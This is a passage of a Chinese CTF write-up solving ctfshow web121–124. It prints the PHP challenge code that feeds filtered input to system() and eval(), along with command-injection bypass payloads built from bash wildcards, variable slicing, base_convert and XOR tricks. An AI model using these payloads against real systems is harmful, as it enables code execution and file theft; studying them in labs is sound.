自己構(gòu)造的paylaod在這里不行,顯示太長

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${PWD:${RANDOM:~A}}

官方payload:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

官方wp這里的$USER代表的變量最后一位是a,題目也沒提示。。。

這里PWD不是/root,要不然就可以

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${PWD:~A}

web121~通配符構(gòu)造 /bin/rev

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}

?>

有多過濾了幾個(gè)linux變量.

首先這里 把$SHLVL給 ban 了,那我們就得找其他的 1 個(gè)長度的變量。

$? 最后運(yùn)行的命令的結(jié)束代碼(返回值)即執(zhí)行上一個(gè)指令的返回值 (顯示最后命令的退出狀態(tài)。0表示沒有錯(cuò)誤,其他任何值表明有錯(cuò)誤)

$# 添加到Shell的參數(shù)個(gè)數(shù)

詳情: https://blog.csdn.net/helloxiaozhe/article/details/80940066

${#?}、${##}都可以代表 1

題目$PWD變量不知又是代表的啥。

題目 wp: 構(gòu)造 /bin/rev

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
# /???/r??

flag出來之后繼續(xù)rev 反轉(zhuǎn)一下就可以了。

web122~ 通配符構(gòu)造/bin/base64

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}

?>

PWD被 ban ,但 可以 HOME

把 #ban 了。之后就不能搞變量長度了。那么就得想出構(gòu)造數(shù)字。

通過$?來實(shí)現(xiàn)的,$?是表示上一條命令執(zhí)行結(jié)束后的傳回值。通常0代表執(zhí)行成功,非0代表執(zhí)行有誤

錯(cuò)誤對照表:

“OS error code 1: Operation not permitted”
“OS error code 2: No such file or directory”
“OS error code 3: No such process”
“OS error code 4: Interrupted system call”
“OS error code 5: Input/output error”
“OS error code 6: No such device or address”
“OS error code 7: Argument list too long”
“OS error code 8: Exec format error”
“OS error code 9: Bad file descriptor”
“OS error code 10: No child processes”
“OS error code 11: Resource temporarily unavailable”
“OS error code 12: Cannot allocate memory”
“OS error code 13: Permission denied”
“OS error code 14: Bad address”
“OS error code 15: Block device required”
“OS error code 16: Device or resource busy”
“OS error code 17: File exists”
“OS error code 18: Invalid cross-device link”
“OS error code 19: No such device”
“OS error code 20: Not a directory”
“OS error code 21: Is a directory”
“OS error code 22: Invalid argument”
“OS error code 23: Too many open files in system”
“OS error code 24: Too many open files”
“OS error code 25: Inappropriate ioctl for device”
“OS error code 26: Text file busy”
“OS error code 27: File too large”
“OS error code 28: No space left on device”
“OS error code 29: Illegal seek”
“OS error code 30: Read-only file system”
“OS error code 31: Too many links”
“OS error code 32: Broken pipe”
“OS error code 33: Numerical argument out of domain”
“OS error code 34: Numerical result out of range”
“OS error code 35: Resource deadlock avoided”
“OS error code 36: File name too long”
“OS error code 37: No locks available”
“OS error code 38: Function not implemented”
“OS error code 39: Directory not empty”
“OS error code 40: Too many levels of symbolic links”
“OS error code 42: No message of desired type”
“OS error code 43: Identifier removed”
“OS error code 44: Channel number out of range”
“OS error code 45: Level 2 not synchronized”
“OS error code 46: Level 3 halted”
“OS error code 47: Level 3 reset”
“OS error code 48: Link number out of range”
“OS error code 49: Protocol driver not attached”
“OS error code 50: No CSI structure available”
“OS error code 51: Level 2 halted”
“OS error code 52: Invalid exchange”
“OS error code 53: Invalid request descriptor”
“OS error code 54: Exchange full”
“OS error code 55: No anode”
“OS error code 56: Invalid request code”
“OS error code 57: Invalid slot”
“OS error code 59: Bad font file format”
“OS error code 60: Device not a stream”
“OS error code 61: No data available”
“OS error code 62: Timer expired”
“OS error code 63: Out of streams resources”
“OS error code 64: Machine is not on the network”
“OS error code 65: Package not installed”
“OS error code 66: Object is remote”
“OS error code 67: Link has been severed”
“OS error code 68: Advertise error”
“OS error code 69: Srmount error”
“OS error code 70: Communication error on send”
“OS error code 71: Protocol error”
“OS error code 72: Multihop attempted”
“OS error code 73: RFS specific error”
“OS error code 74: Bad message”
“OS error code 75: Value too large for defined data type”
“OS error code 76: Name not unique on network”
“OS error code 77: File descriptor in bad state”
“OS error code 78: Remote address changed”
“OS error code 79: Can not access a needed shared library”
“OS error code 80: Accessing a corrupted shared library”
“OS error code 81: .lib section in a.out corrupted”
“OS error code 82: Attempting to link in too many shared libraries”
“OS error code 83: Cannot exec a shared library directly”
“OS error code 84: Invalid or incomplete multibyte or wide character”
“OS error code 85: Interrupted system call should be restarted”
“OS error code 86: Streams pipe error”
“OS error code 87: Too many users”
“OS error code 88: Socket operation on non-socket”
“OS error code 89: Destination address required”
“OS error code 90: Message too long”
“OS error code 91: Protocol wrong type for socket”
“OS error code 92: Protocol not available”
“OS error code 93: Protocol not supported”
“OS error code 94: Socket type not supported”
“OS error code 95: Operation not supported”
“OS error code 96: Protocol family not supported”
“OS error code 97: Address family not supported by protocol”
“OS error code 98: Address already in use”
“OS error code 99: Cannot assign requested address”
“OS error code 100: Network is down”
“OS error code 101: Network is unreachable”
“OS error code 102: Network dropped connection on reset”
“OS error code 103: Software caused connection abort”
“OS error code 104: Connection reset by peer”
“OS error code 105: No buffer space available”
“OS error code 106: Transport endpoint is already connected”
“OS error code 107: Transport endpoint is not connected”
“OS error code 108: Cannot send after transport endpoint shutdown”
“OS error code 109: Too many references: cannot splice”
“OS error code 110: Connection timed out”
“OS error code 111: Connection refused”
“OS error code 112: Host is down”
“OS error code 113: No route to host”
“OS error code 114: Operation already in progress”
“OS error code 115: Operation now in progress”
“OS error code 116: Stale NFS file handle”
“OS error code 117: Structure needs cleaning”
“OS error code 118: Not a XENIX named type file”
“OS error code 119: No XENIX semaphores available”
“OS error code 120: Is a named type file”
“OS error code 121: Remote I/O error”
“OS error code 122: Disk quota exceeded”
“OS error code 123: No medium found”
“OS error code 124: Wrong medium type”
“OS error code 125: Operation canceled”
“OS error code 126: Required key not available”
“OS error code 127: Key has expired”
“OS error code 128: Key has been revoked”
“OS error code 129: Key was rejected by service”
“OS error code 130: Owner died”
“OS error code 131: State not recoverable”
“MySQL error code 132: Old database file”
“MySQL error code 133: No record read before update”
“MySQL error code 134: Record was already deleted (or record file crashed)”
“MySQL error code 135: No more room in record file”
“MySQL error code 136: No more room in index file”
“MySQL error code 137: No more records (read after end of file)”
“MySQL error code 138: Unsupported extension used for table”
“MySQL error code 139: Too big row”
“MySQL error code 140: Wrong create options”
“MySQL error code 141: Duplicate unique key or constraint on write or update”
“MySQL error code 142: Unknown character set used”
“MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table”
“MySQL error code 144: Table is crashed and last repair failed”
“MySQL error code 145: Table was marked as crashed and should be repaired”
“MySQL error code 146: Lock timed out; Retry transaction”
“MySQL error code 147: Lock table is full; Restart program with a larger locktable”
“MySQL error code 148: Updates are not allowed under a read only transactions”
“MySQL error code 149: Lock deadlock; Retry transaction”
“MySQL error code 150: Foreign key constraint is incorrectly formed”
“MySQL error code 151: Cannot add a child row”
“MySQL error code 152: Cannot delete a parent row”

那么這個(gè)<A;echo $?就會輸出 1 了。

payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#可能存在成功的機(jī)會,不斷刷新  /bin/base64

web124~數(shù)學(xué)函數(shù)

<?php
error_reporting(0);
//聽說你很喜歡數(shù)學(xué),不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太長了不會算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("請不要輸入奇奇怪怪的字符");
        }
    }
    //常用數(shù)學(xué)函數(shù)http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("請不要輸入奇奇怪怪的函數(shù)");
        }
    }
    //幫你算出答案
    eval('echo '.$content.';');
}

這道題也是見過好多次了,但是沒有深究。

首先接收一個(gè)c, 長度還不能大于 80 。還不能有黑名單中的 空格、\t\r、\n、引號、方括號。然后設(shè)置白名單,必須符合。也就是必須輸入白名單中的函數(shù)。

做題思路:

首先 php 允許把函數(shù)名通過字符串方式傳遞給一個(gè)變量,然后通過變量動(dòng)態(tài)調(diào)用函數(shù)。如$a="abc";$A()就會執(zhí)行 abc() 函數(shù)。

php 中函數(shù)名默認(rèn)為字符串,可以進(jìn)行異或。

方法1

想辦法構(gòu)造$_GET[1]再傳參getflag,但是其實(shí)發(fā)現(xiàn)構(gòu)造這個(gè)很難。。。因?yàn)?code>$、_、[、]都不能用,同時(shí)GET必須是大寫,很難直接構(gòu)造。

  • base_convert函數(shù)在任意進(jìn)制之間轉(zhuǎn)換數(shù)字。

    可以使用這個(gè)函數(shù)講其他進(jìn)制數(shù)轉(zhuǎn)為36進(jìn)制,而是36進(jìn)制是包含所有數(shù)字和小寫字母的。但終究無法構(gòu)造GET大寫字母。但又可以構(gòu)造其他的小寫字母函數(shù),讓構(gòu)造的函數(shù)轉(zhuǎn)換。

  • hexdec()函數(shù)把十六進(jìn)制轉(zhuǎn)換為十進(jìn)制。

  • dechex()函數(shù)把十進(jìn)制數(shù)轉(zhuǎn)換為十六進(jìn)制數(shù)。

  • bin2hex()函數(shù)講 ASCII 字符轉(zhuǎn)換為十六進(jìn)制值,字符串可通過 pack() 或者 hex2bin() 函數(shù)轉(zhuǎn)換回去。

  • hex2bin()函數(shù)把十六進(jìn)制值得字符轉(zhuǎn)換為 ASCII 字符。

那么我們就可以想象一下,把_GET先利用bin1hex()轉(zhuǎn)換為 十六進(jìn)制,在利用hexdec()轉(zhuǎn)換為十進(jìn)制,那么反過來就可以把 一段數(shù)字轉(zhuǎn)換為字符。

但是binhex()  hexdec()等不是白名單的函數(shù),要從哪里來?

這時(shí)候就要看base_convert()得作用了,因?yàn)樯厦娴暮瘮?shù)都是小寫的,所以可以利用此函數(shù)將一個(gè)十進(jìn)制數(shù)的數(shù)字轉(zhuǎn)為十六進(jìn)制的小寫字符。

那么怎么才能直到這個(gè)數(shù)呢?我們可以先逆向?qū)⑹M(jìn)制字符轉(zhuǎn)換為十進(jìn)制數(shù),得到該數(shù)字,最終逆向構(gòu)造即可。

echobase_convert('hex2bin',36,10);
# 得到  37907361743

echobase_convert(37907361743,10,36);
# 反過來就可以得到  hex2bin

在將_GET反向構(gòu)造出來:

echobin2hex('_GET');
# 得到 5f474554 將字符轉(zhuǎn)換為十六進(jìn)制
echohexdec('5f474554');
# 得到 1598506324 將十六進(jìn)制轉(zhuǎn)為十進(jìn)制。


echodechex(1598506324);
echohex2bin('5f474554');
# 逆向最終得到 _GET

白名單中有dechex()hexdec()函數(shù),但是沒有hex2bin()、bin2hex()函數(shù),但是我們可以使用base_convert()函數(shù)構(gòu)造任意小寫函數(shù)。

串起來構(gòu)造

echobase_convert(37907361743,10,36)dechex(1598506324)

可以用{}代替[]構(gòu)造

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=ls
# 得到 _GETflag.php index.php 

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=catflag.php
# 得到 flag

方法2

可以構(gòu)造getallheaders()傳參,此是小寫的,可以直接用base_convert轉(zhuǎn)換。

狗早:

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

分析:

base_convert(696468,10,36) =>"exec"
$pi(8768397090111664438,10,30) =>"getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中間用逗號隔開,echo都能輸出
echoxx,yy
  • getallheaders— Fetch all HTTP request headers

php中如何進(jìn)行ctfshow命令執(zhí)行

經(jīng)測試,這里列目錄的時(shí)候只能顯示一個(gè)文件名,故可以base64編碼后輸出。

1: ls|base64

方法3

直接cat f*

//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

方法4

前面都是利用白名單的數(shù)學(xué)函數(shù)將數(shù)字轉(zhuǎn)成字符串,其實(shí)也可以異或構(gòu)造這是fuzz腳本

<?php
$payload=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i=0;$i<9; $i++){
for($j=0;$j<=9;$j++){
$exp=$payload[$k] ^$i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo"<br />";
}
}
}
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

上述就是小編為大家分享的php中如何進(jìn)行ctfshow命令執(zhí)行了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI